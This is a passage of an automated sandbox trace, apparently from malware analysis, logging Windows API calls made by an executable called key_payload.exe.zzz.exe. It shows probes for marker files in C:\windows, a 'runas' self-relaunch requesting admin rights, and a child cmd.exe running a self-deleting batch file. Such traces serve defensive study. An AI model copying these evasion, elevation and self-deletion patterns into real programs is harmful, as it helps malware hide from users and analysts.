lpSig=0x0) returned 0 [0094.592] lstrcpyW (in: lpString1=0xf3eadc, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0094.592] EnumFontFamiliesW (hdc=0x3010738, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0094.602] lstrcpyW (in: lpString1=0xf3eadc, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0094.602] CreateFontIndirectW (lplf=0xf3eac0) returned 0x100a01af [0094.602] CreateFontIndirectW (lplf=0xf3eac0) returned 0x50a0733 [0094.602] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xf3e6d0, fWinIni=0x0 | out: pvParam=0xf3e6d0) returned 1 [0094.602] CreateFontIndirectW (lplf=0xf3eac0) returned 0x200a0649 [0094.602] CreateFontIndirectW (lplf=0xf3eac0) returned 0x50a0732 [0094.602] CreateFontIndirectW (lplf=0xf3eac0) returned 0x2d0a06c7 [0094.602] GetSystemMetrics (nIndex=72) returned 15 [0094.603] lstrcpyW (in: lpString1=0xf3eadc, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0094.603] CreateFontIndirectW (lplf=0xf3eac0) returned 0x50a072e [0094.603] GetStockObject (i=17) returned 0x18a0025 [0094.603] GetObjectW (in: h=0x18a0025, c=92, pv=0xf3eac0 | out: pv=0xf3eac0) returned 92 [0094.603] lstrcpyW (in: lpString1=0xf3eadc, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0094.603] CreateFontIndirectW (lplf=0xf3eac0) returned 0x430a06a9 [0094.603] CreateFontIndirectW (lplf=0xf3eac0) returned 0x50a072a [0094.607] GetStockObject (i=17) returned 0x18a0025 [0094.608] GetObjectW (in: h=0x18a0025, c=92, pv=0xf3eac0 | out: pv=0xf3eac0) returned 92 [0094.608] CreateFontIndirectW (lplf=0xf3eac0) returned 0x240a054d [0094.608] CreateFontIndirectW (lplf=0xf3eac0) returned 0x190a01b3 [0094.608] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0094.608] SelectObject (hdc=0xa0100d0, h=0x100a01af) returned 0x18a0048 [0094.608] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xf3e644 | out: lptm=0xf3e644) returned 1 [0094.608] SelectObject (hdc=0xa0100d0, h=0x430a06a9) returned 0x100a01af [0094.609] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xf3e644 | out: lptm=0xf3e644) returned 1 [0094.609] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x430a06a9 [0094.609] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0094.610] DeleteObject (ho=0x18a0025) returned 1 [0094.610] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0094.610] GetSystemMetrics (nIndex=49) returned 16 [0094.610] GetSystemMetrics (nIndex=50) returned 16 [0094.610] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0094.610] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0094.610] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xf3ea58 | out: lpmi=0xf3ea58) returned 1 [0094.610] CopyRect (in: lprcDst=0xf3ea80, lprcSrc=0xf3ea6c | out: lprcDst=0xf3ea80) returned 1 [0094.611] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0094.611] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0094.611] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0094.611] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.611] GetSysColor (nIndex=21) returned 0x696969 [0094.611] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0094.611] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0094.611] GetSysColor (nIndex=15) returned 0xf0f0f0 [0094.611] GetSysColor (nIndex=16) returned 0xa0a0a0 [0094.612] GetSysColor (nIndex=21) returned 0x696969 [0094.612] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.612] GetSysColor (nIndex=20) returned 0xffffff [0094.612] GetSysColor (nIndex=18) returned 0x0 [0094.612] GetSysColor (nIndex=17) returned 0x6d6d6d [0094.612] GetSysColor (nIndex=6) returned 0x646464 [0094.612] GetSysColor (nIndex=13) returned 0xff9933 [0094.612] GetSysColor (nIndex=14) returned 0xffffff [0094.612] GetSysColor (nIndex=5) returned 0xffffff [0094.612] GetSysColor (nIndex=8) returned 0x0 [0094.612] GetSysColor (nIndex=9) returned 0x0 [0094.612] GetSysColor (nIndex=7) returned 0x0 [0094.612] GetSysColor (nIndex=2) returned 0xd1b499 [0094.612] GetSysColor (nIndex=3) returned 0xdbcdbf [0094.612] GetSysColor (nIndex=27) returned 0xead1b9 [0094.612] GetSysColor (nIndex=28) returned 0xf2e4d7 [0094.612] GetSysColor (nIndex=10) returned 0xb4b4b4 [0094.613] GetSysColor (nIndex=11) returned 0xfcf7f4 [0094.613] GetSysColor (nIndex=19) returned 0x0 [0094.613] GetSysColor (nIndex=26) returned 0xcc6600 [0094.613] GetSysColorBrush (nIndex=16) returned 0x1100075 [0094.613] GetSysColorBrush (nIndex=20) returned 0x1100076 [0094.613] GetSysColorBrush (nIndex=5) returned 0x110007b [0094.614] DeleteObject (ho=0x42100553) returned 1 [0094.614] CreateSolidBrush (color=0xf0f0f0) returned 0x7100742 [0094.614] DeleteObject (ho=0xd10071c) returned 1 [0094.614] CreateSolidBrush (color=0xf0f0f0) returned 0x1810073a [0094.614] DeleteObject (ho=0xb100737) returned 1 [0094.614] CreateSolidBrush (color=0xd1b499) returned 0x610073f [0094.615] DeleteObject (ho=0x561006b7) returned 1 [0094.615] CreateSolidBrush (color=0xdbcdbf) returned 0x1310072c [0094.615] DeleteObject (ho=0xa10063a) returned 1 [0094.615] CreateSolidBrush (color=0xff9933) returned 0x43100553 [0094.615] DeleteObject (ho=0x1710072d) returned 1 [0094.615] CreateSolidBrush (color=0x696969) returned 0xe10071c [0094.615] DeleteObject (ho=0xd100637) returned 1 [0094.616] CreateSolidBrush (color=0xffffff) returned 0xc100737 [0094.616] DeleteObject (ho=0x27300722) returned 1 [0094.616] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x28300722 [0094.617] DeleteObject (ho=0xc30071e) returned 1 [0094.617] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0xd30071e [0094.617] DeleteObject (ho=0x6300740) returned 1 [0094.617] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x7300740 [0094.617] DeleteObject (ho=0x1310071b) returned 1 [0094.617] CreateSolidBrush (color=0xf7f7f7) returned 0xb10063a [0094.618] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0094.619] GetActiveWindow () returned 0x0 [0094.627] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x100e8d0, nSize=0x400 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0094.627] PathRemoveFileSpecW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0094.627] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" " [0094.627] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" ", pNumArgs=0xf3ec64 | out: pNumArgs=0xf3ec64) returned 0x100e0e8*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0094.628] GetCurrentPackageId () returned 0x3d54 [0094.628] AreFileApisANSI () returned 1 [0094.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0094.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0xff1aa0, cchWideChar=20 | out: lpWideCharStr="C:\\windows\\123.txtt") returned 20 [0094.628] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.628] GetLastError () returned 0x2 [0094.629] GetLastError () returned 0x2 [0094.629] SetLastError (dwErrCode=0x2) [0094.629] GetLastError () returned 0x2 [0094.629] SetLastError (dwErrCode=0x2) [0094.629] GetLastError () returned 0x2 [0094.629] SetLastError (dwErrCode=0x2) [0094.629] AreFileApisANSI () returned 1 [0094.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f94, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12322.txtt") returned 22 [0094.629] CreateFileW (lpFileName="C:\\windows\\12322.txtt" (normalized: "c:\\windows\\12322.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.630] GetLastError () returned 0x2 [0094.630] GetLastError () returned 0x2 [0094.630] SetLastError (dwErrCode=0x2) [0094.630] GetLastError () returned 0x2 [0094.630] SetLastError (dwErrCode=0x2) [0094.630] GetLastError () returned 0x2 [0094.630] SetLastError (dwErrCode=0x2) [0094.630] AreFileApisANSI () returned 1 [0094.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0094.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0xff1a10, cchWideChar=20 | out: lpWideCharStr="C:\\windows\\123.txtt") returned 20 [0094.631] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.631] GetLastError () returned 0x2 [0094.631] GetLastError () returned 0x2 [0094.631] SetLastError (dwErrCode=0x2) [0094.631] GetLastError () returned 0x2 [0094.631] SetLastError (dwErrCode=0x2) [0094.631] GetLastError () returned 0x2 [0094.631] SetLastError (dwErrCode=0x2) [0094.632] AreFileApisANSI () returned 1 [0094.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12344.txtt") returned 22 [0094.632] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.632] GetLastError () returned 0x2 [0094.632] GetLastError () returned 0x2 [0094.632] SetLastError (dwErrCode=0x2) [0094.632] GetLastError () returned 0x2 [0094.632] SetLastError (dwErrCode=0x2) [0094.632] GetLastError () returned 0x2 [0094.633] SetLastError (dwErrCode=0x2) [0094.633] AreFileApisANSI () returned 1 [0094.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0094.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0xff1aa0, cchWideChar=20 | out: lpWideCharStr="C:\\windows\\123.txtt") returned 20 [0094.633] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.634] GetLastError () returned 0x2 [0094.634] GetLastError () returned 0x2 [0094.634] SetLastError (dwErrCode=0x2) [0094.634] GetLastError () returned 0x2 [0094.634] SetLastError (dwErrCode=0x2) [0094.634] GetLastError () returned 0x2 [0094.634] SetLastError (dwErrCode=0x2) [0094.634] AreFileApisANSI () returned 1 [0094.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12344.txtt") returned 22 [0094.634] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.635] GetLastError () returned 0x2 [0094.635] GetLastError () returned 0x2 [0094.635] SetLastError (dwErrCode=0x2) [0094.635] GetLastError () returned 0x2 [0094.635] SetLastError (dwErrCode=0x2) [0094.635] GetLastError () returned 0x2 [0094.635] SetLastError (dwErrCode=0x2) [0094.635] AreFileApisANSI () returned 1 [0094.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13551d4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13551d4, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12355.txtt") returned 22 [0094.636] CreateFileW (lpFileName="C:\\windows\\12355.txtt" (normalized: "c:\\windows\\12355.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.636] GetLastError () returned 0x2 [0094.636] GetLastError () returned 0x2 [0094.636] SetLastError (dwErrCode=0x2) [0094.636] GetLastError () returned 0x2 [0094.638] SetLastError (dwErrCode=0x2) [0094.638] GetLastError () returned 0x2 [0094.638] SetLastError (dwErrCode=0x2) [0094.638] AreFileApisANSI () returned 1 [0094.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135525c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135525c, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12366.txtt") returned 22 [0094.638] CreateFileW (lpFileName="C:\\windows\\12366.txtt" (normalized: "c:\\windows\\12366.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.638] GetLastError () returned 0x2 [0094.638] GetLastError () returned 0x2 [0094.638] SetLastError (dwErrCode=0x2) [0094.639] GetLastError () returned 0x2 [0094.639] SetLastError (dwErrCode=0x2) [0094.639] GetLastError () returned 0x2 [0094.639] SetLastError (dwErrCode=0x2) [0094.639] AreFileApisANSI () returned 1 [0094.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13552e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13552e4, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12377.txtt") returned 22 [0094.639] CreateFileW (lpFileName="C:\\windows\\12377.txtt" (normalized: "c:\\windows\\12377.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.640] GetLastError () returned 0x2 [0094.640] GetLastError () returned 0x2 [0094.640] SetLastError (dwErrCode=0x2) [0094.640] GetLastError () returned 0x2 [0094.640] SetLastError (dwErrCode=0x2) [0094.640] GetLastError () returned 0x2 [0094.641] SetLastError (dwErrCode=0x2) [0094.641] AreFileApisANSI () returned 1 [0094.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135536c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135536c, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12388.txtt") returned 22 [0094.641] CreateFileW (lpFileName="C:\\windows\\12388.txtt" (normalized: "c:\\windows\\12388.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.642] GetLastError () returned 0x2 [0094.642] GetLastError () returned 0x2 [0094.642] SetLastError (dwErrCode=0x2) [0094.642] GetLastError () returned 0x2 [0094.642] SetLastError (dwErrCode=0x2) [0094.642] GetLastError () returned 0x2 [0094.642] SetLastError (dwErrCode=0x2) [0094.643] AreFileApisANSI () returned 1 [0094.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13553f4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13553f4, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12399.txtt") returned 22 [0094.643] CreateFileW (lpFileName="C:\\windows\\12399.txtt" (normalized: "c:\\windows\\12399.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.644] GetLastError () returned 0x2 [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] AreFileApisANSI () returned 1 [0094.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135547c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0094.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135547c, cbMultiByte=-1, lpWideCharStr=0xfc44e0, cchWideChar=22 | out: lpWideCharStr="C:\\windows\\12300.txtt") returned 22 [0094.644] CreateFileW (lpFileName="C:\\windows\\12300.txtt" (normalized: "c:\\windows\\12300.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.644] GetLastError () returned 0x2 [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] AreFileApisANSI () returned 1 [0094.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355504, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0094.644] CreateFileW (lpFileName="C:\\windows\\12___3.txtt" (normalized: "c:\\windows\\12___3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.644] GetLastError () returned 0x2 [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.644] SetLastError (dwErrCode=0x2) [0094.644] GetLastError () returned 0x2 [0094.645] SetLastError (dwErrCode=0x2) [0094.645] AreFileApisANSI () returned 1 [0094.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355584, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0094.645] CreateFileW (lpFileName="C:\\windows\\12_______3.txtt" (normalized: "c:\\windows\\12_______3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.645] GetLastError () returned 0x2 [0094.645] GetLastError () returned 0x2 [0094.645] SetLastError (dwErrCode=0x2) [0094.645] GetLastError () returned 0x2 [0094.645] SetLastError (dwErrCode=0x2) [0094.645] GetLastError () returned 0x2 [0094.645] SetLastError (dwErrCode=0x2) [0094.647] AreFileApisANSI () returned 1 [0094.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0094.647] CreateFileW (lpFileName="C:\\windows\\123_______.txtt" (normalized: "c:\\windows\\123_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.647] GetLastError () returned 0x2 [0094.647] GetLastError () returned 0x2 [0094.647] SetLastError (dwErrCode=0x2) [0094.647] GetLastError () returned 0x2 [0094.647] SetLastError (dwErrCode=0x2) [0094.647] GetLastError () returned 0x2 [0094.647] SetLastError (dwErrCode=0x2) [0094.648] AreFileApisANSI () returned 1 [0094.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355684, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0094.648] CreateFileW (lpFileName="C:\\windows\\125673_______.txtt" (normalized: "c:\\windows\\125673_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf3e898, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.648] GetLastError () returned 0x2 [0094.648] GetLastError () returned 0x2 [0094.648] SetLastError (dwErrCode=0x2) [0094.648] GetLastError () returned 0x2 [0094.648] SetLastError (dwErrCode=0x2) [0094.648] GetLastError () returned 0x2 [0094.648] SetLastError (dwErrCode=0x2) [0094.648] ShellExecuteExW (in: pExecInfo=0xf3f1ec*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xf3f1ec*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0097.395] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0097.395] PeekMessageW (in: lpMsg=0xf3fa54, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xf3fa54) returned 0 [0097.395] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0097.395] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0097.395] PeekMessageW (in: lpMsg=0xf3fa54, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xf3fa54) returned 0 [0097.395] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0097.395] UnhookWindowsHookEx (hhk=0x2e0113) returned 1 [0097.396] WSACleanup () returned 0 [0099.237] KillTimer (hWnd=0x0, uIDEvent=0x0) returned 0 [0099.264] DeleteObject (ho=0xb10063a) returned 1 [0099.264] DeleteObject (ho=0x100a01af) returned 1 [0099.264] DeleteObject (ho=0x2d0a06c7) returned 1 [0099.264] DeleteObject (ho=0x50a0732) returned 1 [0099.264] DeleteObject (ho=0x430a06a9) returned 1 [0099.264] DeleteObject (ho=0x50a072a) returned 1 [0099.264] DeleteObject (ho=0x200a0649) returned 1 [0099.265] DeleteObject (ho=0x50a072e) returned 1 [0099.265] DeleteObject (ho=0x50a0733) returned 1 [0099.265] DeleteObject (ho=0x240a054d) returned 1 [0099.265] DeleteObject (ho=0x190a01b3) returned 1 [0099.265] DeleteObject (ho=0x7300740) returned 1 [0099.265] DeleteObject (ho=0xd30071e) returned 1 [0099.265] DeleteObject (ho=0x28300722) returned 1 [0099.265] DeleteObject (ho=0x1810073a) returned 1 [0099.265] DeleteObject (ho=0xc100737) returned 1 [0099.265] DeleteObject (ho=0x1310072c) returned 1 [0099.265] DeleteObject (ho=0x610073f) returned 1 [0099.265] DeleteObject (ho=0xe10071c) returned 1 [0099.265] DeleteObject (ho=0x43100553) returned 1 [0099.265] DeleteObject (ho=0x7100742) returned 1 [0099.265] LocalFree (hMem=0xffdf30) returned 0x0 [0099.265] LocalFree (hMem=0xfc1508) returned 0x0 [0099.265] LocalFree (hMem=0xfbdc40) returned 0x0 [0099.266] LocalFree (hMem=0xfbf310) returned 0x0 [0099.266] LocalFree (hMem=0xfef9c0) returned 0x0 [0099.266] GlobalHandle (pMem=0xfc3d60) returned 0x1740004 [0099.266] GlobalUnlock (hMem=0x1740004) returned 0 [0099.266] LocalFree (hMem=0xfc2738) returned 0x0 [0099.267] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0xf3fa28 | out: phModule=0xf3fa28) returned 0 [0099.267] ExitProcess (uExitCode=0x0) Thread: id = 13 os_tid = 0xf94 Thread: id = 15 os_tid = 0xfa0 Thread: id = 16 os_tid = 0xfa4 Thread: id = 17 os_tid = 0xfa8 Thread: id = 19 os_tid = 0xfb0 Thread: id = 20 os_tid = 0xfb4 Thread: id = 21 os_tid = 0xfb8 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x5837e000" os_pid = "0xf8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf2c" cmd_line = "C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"\"" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], 